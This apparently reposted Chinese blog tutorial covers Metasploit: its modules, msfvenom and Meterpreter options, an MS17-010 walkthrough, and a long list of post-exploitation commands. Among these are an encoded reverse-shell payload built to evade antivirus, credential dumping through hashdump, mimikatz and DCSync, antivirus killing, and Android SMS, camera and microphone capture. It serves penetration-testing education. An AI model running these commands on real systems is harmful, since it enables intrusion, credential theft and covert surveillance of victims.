metasploit-framework(msf)——学习与实践

news2024/11/16 3:41:10

MSF是Metasploit Framework的缩写,是一款广泛使用的渗透测试工具,具有强大的攻击功能。它提供了一个模块化的平台,通过将各种攻击载荷、漏洞利用和辅助工具组装在一起,可用于模拟各种攻击,测试系统安全性,也可以用于执行红队实战训练、漏洞挖掘等工作。

(一)msf的七个模块

msf有七个核心模块,各自的作用:

  1. Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。

  2. Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。

  3. Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。

  4. Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。

  5. Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。

  6. Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。

  7. Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。

可以在kali的/usr/share/metasploit-framework/modules目录中看到

 想要查看模块里面具体信息,可以通过search +模块名命令进行查看。

例如查看利用漏洞模块Exploits的具体模块:search exploits

可以看到,exploits漏洞利用模块中含有一千九百多个漏洞利用模块。这是非常多的。可以根据里面的不同的模块对对于的漏洞进行操作。

(二)常用命令与参数:

MSF 是一款安全渗透测试框架,其功能包括漏洞扫描、漏洞利用、反向连接和负载生成等。它是一个功能强大的平台,包含数百个模块和载荷,可用于各种不同类型的安全渗透测试任务。在msf下又有许多的工具,常用到的工具如下:

  1. msfconsole:MSF 的命令行控制台,用于启动和控制整个框架。
  2. msfvenom:用于生成和编码各种类型的负载,包括反向连接、Meterpreter 等。
  3. msfdb:MSF 的数据库管理工具,用于存储和管理各种模块、主机、服务和漏洞等信息。
  4. msfcli:一个简单的命令行客户端,用于执行指定的模块和命令。
  5. Armitage:MSF 的图形用户界面 (GUI),通过可视化界面提供了更方便的渗透测试操作和数据分析功能,包括任务追踪、漏洞管理、报告生成等。

1、msfconsole(MSF 的命令行控制台)

  • -h:显示所有可用的参数和选项;

  • -p:指定要使用的端口;

  • -r:指定要执行的脚本文件;

  • -q:启动静默模式,不输出任何提示或信息;

  • -n:禁用颜色和ASCII图形输出;

  • -x:执行指定的命令或脚本,并退出控制台;

  • -L:列出所有可用的模块和插件;

  • -f:指定输出格式,可以是console、json、raw等。

2、msfvenom:(生成和编码各种类型的负载)

  • -p:指定生成负载的类型或程序,如Windows恶意软件、Linux恶意软件、Mac恶意软件等;
  • -f指定输出格式,类型是exe、dll、apk、python、ruby等;
  • -e:指定负载编码,例如Base64、URL、Shikata-ga-nai等;
  • -o:指定输出文件的路径和名称
  • -i:设置生成缓慢速度(产生更好的结果);
  • -b:指定要忽略的字符集,以“/”分隔多个字符集;
  • -a:指定架构(处理器架构)类型,例如x86、x64、arm等;
  • -t:指定存活时间单位为秒;
  • –platform:指定目标操作系统类型,如Windows、Linux、Android、iOS等。

3、Meterpreter:用来实现控制已被攻破目标主机并执行各种操作的功能

Meterpreter可以实现的功能有:

  1. 提供一个交互式Shell:Meterpreter可以通过Metasploit框架的控制台提供一个交互式Shell,使攻击者可以通过命令行与被攻破主机进行交互。

  2. 文件上传与下载:Meterpreter可以直接在受害主机与攻击者之间传递文件,并且可以控制文件的读写和执行权限。

  3. 信息收集与漏洞扫描:Meterpreter可以通过Shell脚本对目标主机进行信息收集和漏洞扫描,包括获取系统信息、端口扫描、Web应用程序扫描等。

  4. 端口转发和代理:Meterpreter可以通过建立端口转发和代理服务,使攻击者可以继续深入到网络内部进行渗透测试。

  5. 应用程序执行和控制:Meterpreter可以通过应用程序加载插件,从而控制应用程序的执行。

基础命令:

  1. help:查看可用的命令列表。

  2. sysinfo:显示目标系统的基本信息。

  3. shell:进入交互式Shell。

  4. cd:改变目录。

  5. pwd:显示当前所在目录。

  6. ls:显示目录内容。

  7. upload:上传文件。

  8. download:下载文件。

  9. portfwd:建立端口转发。

  10. screenshot:获取远程主机的屏幕截图。

  11. getpid:获取当前进程ID。

  12. ps:显示当前运行的进程列表。

  13. migrate:转移当前Meterpreter进程到指定的进程ID中,让攻击者控制器进程更隐蔽。

  14. execute:在目标主机中执行指定的命令和程序。

  15. search:在目标主机上进行文件搜索。

  16. getuid:显示当前用户的权限信息。

(三)、msfconsole漏洞利用

利用之前,需要先确定好目标主机

1、情报收集:发现存活主机

可用于发现主机的模块:

auxiliary/scanner/discovery/arp_sweep         # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep         # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version         # 发现FTP服务

auxiliary/scanner/http/http_version         # 发现HTTP服务

auxiliary/scanner/smb/smb_version         # 基于smb发现内网存活主机


此外可以利用search scanner type:auxiliary 查看所有扫描模块

利用 UDP发现内网存活主机:

msf6 > use auxiliary/scanner/discovery/udp_sweep        #使用udp扫描模块
msf6 auxiliary(scanner/discovery/udp_sweep) > options      #查看所有配置

可以看到利用 udp扫描模块扫描存活主机时候,有三个参数需要配置,其中有两个参数已经有默认值了,还有一个参数rhosts还没有值,rhosts参数,就是我们本次要扫描的对象ip,


msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.0/24 
rhosts => 192.168.23.0/24
msf6 auxiliary(scanner/discovery/udp_sweep) > run 

 当设置rhosts 为整个网段的ip时候,发现我们的目标主机,发现是存在的

2 、威胁建模

威胁建模是,扫描通过扫描的信息,发现目标主机开启的服务,根据不同的服务,存在的漏洞大小对比,比较哪一服务的漏洞,比较容易能够较为容易的被我们所利用

利用udp扫描模块:

msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.14
rhosts => 192.168.23.14
msf6 auxiliary(scanner/discovery/udp_sweep) > run
 

通过扫描发现,目标主机开启netbios服务

 利用smb模块扫描,也发现目标主机也开启smb服务,可以看到

 

3 、漏洞分析

漏洞分析,根据已经确定的服务,对该服务进行漏洞扫描,本次确定是smb服务,所以,我们接下来要对smb服务进行漏洞扫描

通过查询smb,找到的漏洞有:

  1. MS17-010漏洞:该漏洞存在于微软SMBv1协议的实现中,攻击者可以无需身份验证直接发送恶意数据包导致远程代码执行,影响版本包括Windows Vista到Windows Server 2016等所有的Windows版本。

  2. CVE-2018-0802漏洞:该漏洞存在于微软Office中的公式编辑器中,攻击者可以构造恶意Office文档,通过SMB协议传播该文档,从而利用该漏洞进行远程代码执行。

  3. CVE-2020-0796漏洞:该漏洞存在于Windows 10和Windows Server 2016/2019的SMBv3协议中,攻击者可以利用该漏洞执行远程代码,通过运用SMBv3协议中的漏洞粘合攻击,可对整个网络造成威胁。

  4. CVE-2019-0708漏洞:该漏洞存在于Windows Remote Desktop服务的RDP协议中,攻击者可以利用该漏洞进行远程执行代码,从而实现对远程服务器进行非法控制的攻击行为。

我们利用MS17-010漏洞(永恒之蓝),进行查看,查看是否可以利用这个漏洞

1、查询msf与永恒之蓝相关的模块:search ms17_010

 我们查询到有四个模块可以利用,前面两个是exploit(漏洞利用模块),后两个是auxiliary(辅助模块)
2、利用辅助模块进行扫描

 

 扫描之后,发现目标主机可能是存在永恒之蓝的漏洞

4、 漏洞利用

前面,我们通过分析和扫描,发现目标主机是可能存在永恒之蓝漏洞,接下来,我们尝试对该漏洞进行利用,而且我们在前面的时候,漏洞永恒之蓝MS17-010搜索的时候,发现,有永恒之蓝的漏洞利用模块

方式一:利用漏洞利用模块进行漏洞利用

 

 

 漏洞利用成功

方式二:利用注入木马进行漏洞利用

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

-a:指定payload的目标架构

-p:指定需要使用的payload(攻击荷载),LHOST是攻击机ip,LPORT是攻击端口

-e:指定需要使用的encoder(编码器)编码免杀

-b:设定规避字符集,比如: '\x00\xff'避免使用的字符

-i:指定payload的编码次数

-f:指定输出格式

5 、后渗透利用

到了这一步,就是干我们要干的事情了(违法的事,不能做,做个好白帽)

下面是一些命令演示

 

针对安卓手机的一些命令:

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t "hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM

lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

文件系统的命令

cat c:\boot.ini        #查看文件内容,文件必须存在

del c:\boot.ini         #删除指定的文件

upload /root/Desktop/netcat.exe c:\         # 上传文件到目标机主上,如upload setup.exe

C:\windows\system32 download nimeia.txt /root/Desktop/         # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/

edit c:\boot.ini         # 编辑文件

getlwd        #打印本地目录

getwd        #打印工作目录

lcd        #更改本地目录

ls        #列出在当前目录中的文件列表

lpwd        #打印本地目录

pwd        #输出工作目录

cd c:\         #进入目录文件下

rm file         #删除文件

mkdir dier         #在受害者系统上的创建目录

rmdir        #受害者系统上删除目录

dir        #列出目标主机的文件和文件夹信息

mv        #修改目标主机上的文件名 search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea.bat c:\xamp\

enumdesktops         #用户登录数

6 、报告阶段

这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/623674.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【深度学习】日常笔记2

一直以来其实对调参这个词不太熟悉,后面知道了比如学习率就为超参数,是被调参的对象: ↑标量方程对向量的导数 大概就是↓ 在对矩阵求导时,我们需要使用矩阵微积分中的求导法则。对于一个标量函数 f(x),它关于向量 x 的…

小程序项目—知识付费系统源码(多版本)

随着互联网的发展,知识付费成为了一种新的商业模式,越来越多的人开始通过知识付费来获取所需的知识和技能。为了更好地管理和运营知识付费系统,需要开发一个管理后台,本文将介绍知识付费系统管理后台的功能和实现。 产品介绍 &am…

云渲染对学生党有哪些好处和挑战?

云渲染是一种依托于云计算的云端服务,用户将本地任务提交到远程服务器,由远程的计算机集群资源进行运算操作,将上传的任务进行云端渲染后再返回本地。云渲染的优势是可以节省本地设备的性能和时间,提高渲染效率和质量。那么&#…

Flutter路由——Navigator2.0

Navigator 2.0提供了一系列全新的接口,可以实现将路由状态成为应用状态的一部分,新增的API如下: Page:用来表示Navigator路由栈中各个页面的不可变对象,Page是一个抽象类通常使用它的派生类:MaterialPage或CupertinoP…

Threejs进阶之十八:使用ExtrudeGeometry从二维图形创建三维几何体

目录 ExtrudeGeometry类构造函数options包含的参数 使用ExtrudeGeometry从二维图形创建三维图形的基本步骤1.创建二维图形2.创建轮廓线(outline)3.创建材质和网格对象补充内容:将拉伸图形生成为线框模式 上一节我们介绍了Threejs中二维图形相…

(转载)基于模拟退火算法的TSP问题求解(matlab实现)

1 理论基础 1.1 模拟退火算法基本原理 模拟退火(simulated annealing,SA)算法的思想最早是由Metropolis等提出的。其出发点是基于物理中固体物质的退火过程与一般的组合优化问题之间的相似性。模拟退火法是一种通用的优化算法,其物理退火过程由以下三部分组成&am…

【6.08 代随_51day】 最佳买卖股票时机含冷冻期、买卖股票的最佳时机含手续费

最佳买卖股票时机含冷冻期、买卖股票的最佳时机含手续费 最佳买卖股票时机含冷冻期1.方法图解步骤递归代码 买卖股票的最佳时机含手续费1.方法代码 最佳买卖股票时机含冷冻期 力扣连接:309. 最佳买卖股票时机含冷冻期(中等) 1.方法 1.具体…

【uniapp 小程序实现已授权用户直接自动登录,未授权用户展示授权页面并实现一键登录】

uniapp 小程序实现已授权用户直接自动登录,未授权用户展示授权页面并实现一键登录 前言一、实现思路1. 后端接口a. LoginByCodeb. LoginMpAlic. LoginMpWx 二、最终实现流程图1.流程图在这里插入图片描述 总结 前言 项目背景 : 项目是使用 uniapp 来实现的多端小程序 , 当前实…

LVS负载均衡群集部署——DR直接路由模式

这里写目录标题 一 、 LVS-DR 工作原理二、数据包流向分析三、LVS-DR 模式的特点四、ARP问题4.1 问题一:IP地址冲突4.2 问题二:第二次再有访问请求 五、部署LVS-DR集群5.1 配置Tomcat 多实例服务器5.2 配置web节点服务器配置web1节点服务器配置Nginx七层…

00后干一年跳槽就20K,测试老油条表示真怕被这个“卷王”干掉····

在程序员职场上,什么样的人最让人反感呢? 是技术不好的人吗?并不是。技术不好的同事,我们可以帮他。 是技术太强的人吗?也不是。技术很强的同事,可遇不可求,向他学习还来不及呢。 真正让人反感的,是技术平平&#x…

2023-06-05 stonedb-在聚合的场景查询为空无法执行case属性-问题分析-及定位问题的思路

目录 摘要: 查询SQL: 处理该问题的思路分析: 削减查询SQL的操作符 tianmu引擎的查询SQL innodb引擎的查询SQL mysql/sql和innodb执行分析: 执行过程的trace日志: 摘出一些涉及查询执行的部分 思路分析: mysql/sql层的核心处理: Item_func_case::fix_fields 调用堆…

【OpenCV DNN】Flask 视频监控目标检测教程 07

欢迎关注『OpenCV DNN Youcans』系列,持续更新中 【OpenCV DNN】Flask 视频监控目标检测教程 07 3.7 OpenCVFlask实时监控人脸识别cvFlask08 项目的文件树cvFlask08 项目的Python程序cvFlask08 项目的网页模板cvFlask08 项目的运行 本系列从零开始,详细…

2023上海国际嵌入式展 | 如何通过人工智能驱动的自动化测试工具提升嵌入式开发效率

2023年6月14日到16日,龙智将在2023上海国际嵌入式展(embedded world China 2023)A055展位亮相。同时,6月14日下午3:00-3:30,龙智资深DevSecOps顾问巫晓光将于创新技术及应用发展论坛第二论坛区(A325展位&am…

idea代码检查插件

1,SonarLint Idea 安装 Sonar 插件提升代码质量_idea sonar插件_打代码的苏比特的博客-CSDN博客 2,immomo Mybatis XML Mapper SQL注入漏洞发现与一键修复-----项目静态代码安全审计idea插件工具MOMO CODE SEC INSPECTOR-Java_idea sql注入 插件_North…

【蓝桥刷题】备战国赛——交通信号

蓝桥杯2022国赛真题——交通信号 🚀 每日一题,冲刺国赛 🚀 题目导航: 交通信号 🎇思路: d i j k s t r a dijkstra dijkstra 🔱思路分析: 要求从一点到另一点的最短距离&#xff0…

软件测试的生命周期、Bug

一、软件测试的生命周期 1、软件的生命周期: 需求分析:分析需求是否正确、完整。 设计:项目的上线时间、开始开发时间、测试时间、人员... 计划:设计技术文档、进行UI设计... 编码:写代码(实现用户需求&am…

Tomcat启动闪退的详细解决方法(捕获的野生的java1.8.0_321和野生的Tomcat8实验)

1.实验说明 本实验将采用捕获的野生的java1.8.0_321和野生的Tomcat8进行实验。而且不需要安装服务。 2.配置声明: java -version javac -version CATALINA_HOME 说明:CATALINA_HOME配置到放置到tomcat的目录 Path 说明:Path路径配置到tomca…

如和使用matlab实现香农编码和解码

文章目录 前言效果截图如下代码解析完整代码完结 撒花 前言 在网上看了好多 , 都是对香农进行编码的案例 , 却没有 进行解码的操作 , 今天就来补齐这个欠缺 效果截图如下 代码解析 text 你好; % 待编码的文本定义一个字符串类型的变量text,其值为’你好’。 [en…

2023水博会新热门:北斗时空智能 助力水利数字孪生

当“北斗”遇上“智慧水利”将会碰撞出怎样的新意? 6月7日,2023中国水博会暨第十八届中国(国际)水务高峰论坛正式召开。会上,由千寻位置提出的“北斗时空智能助力水利数字孪生”理念及相应解决方案,受到了与…

肠道菌群、性激素与疾病:探索它们的交互作用

谷禾健康 我们的身体中有很多不同的器官,组织,腺体等会产生许多信号分子来精确控制和影响身体的反应和活动,这些信号分子包括激素、神经递质、生长因子、细胞因子等。它们可以促进或抑制细胞的生长和分化,调节细胞间的相互作用和通…